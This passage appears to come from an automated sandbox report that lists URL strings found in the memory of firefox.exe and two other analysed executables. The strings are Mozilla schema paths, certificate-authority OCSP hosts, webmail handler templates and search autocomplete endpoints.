Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/valuehttp://moz
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/featurehttp://mozilla.org/#/proper
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/itemshttp://mozilla.org/#/properties/migrateExtensi
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0The
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureIdhttp:/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/valueRollout
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsTotal
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slughttp://mozilla.org/#/propertie
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/itemsFailed
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/itemshttp://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespacehttp://mozilla.org/#/properties/bra
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/starthttp://mozilla.org/#/properties/bucketC
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/totalextensions.webcompat.disabled_shims.Liv
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC129E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC129E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImportresource:///modules/SearchUIUtils.sys.mjs
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabledremoveCookiesWithOriginAttributes
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDatewebcompat
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDatehttp://mozilla.org/#/properties/localizations/anyOf
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/branches/anyOf/1http
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOutextensions.webcompat.disabled_shims.AdsByGoog
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRRhttp://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/idAn
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallback
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallbackformautofill
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollouthttp://mozilla.org/#/properties/bucketConfighttp://mozilla.
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0extensions.webcompat.disabled_shims.AdobeEveres
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictorrepeat()
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slughttp://mozilla.org/#/properties/isEnro
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationwebcompat
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollmentextensions.webcompat.disabled_shims.Branch
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranchhttp://mozilla.org/#/properties/localizationswebcompa
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slughttp://mozilla.org/#/properties/appIdhttp://mozilla.org/#/proper
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescriptionextensions.webcompat.disabled_shims.MochitestSh
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingNamewebcompat
Source: firefox.exe, 0000001E.00000002.2458699431.0000018FC2C56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2369859659.0000018FC0A13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2491020403.0000018FC7703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2492014669.0000018FC785C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2428085295.0000018FC0AD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2327115388.0000018FC7799000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001E.00000002.2534665912.00002A46B3800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/S
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sScheme
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001E.00000003.2349172343.0000018FC0F87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409663609.0000018FBFA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2433286259.0000018FC0F69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001E.00000003.2349172343.0000018FC0F87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409663609.0000018FBFA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2433286259.0000018FC0F69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_IDLE_NO_PROGRESS_TIMEOUT_SECSWRITE_ERROR_BACKGROUND_TASK_
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC125E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409876446.0000018FBFBB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2425869954.0000018FC0703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409663609.0000018FBFA93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409663609.0000018FBFAAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/skin/privatebrowsing/f
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulcurrently
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/LinksCac
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/BrowserTelemetry
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2288118783.0000018FBF400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2289547467.0000018FBF640000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2291102616.0000018FBF660000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2291287564.0000018FBF67F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/Wikipedia
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
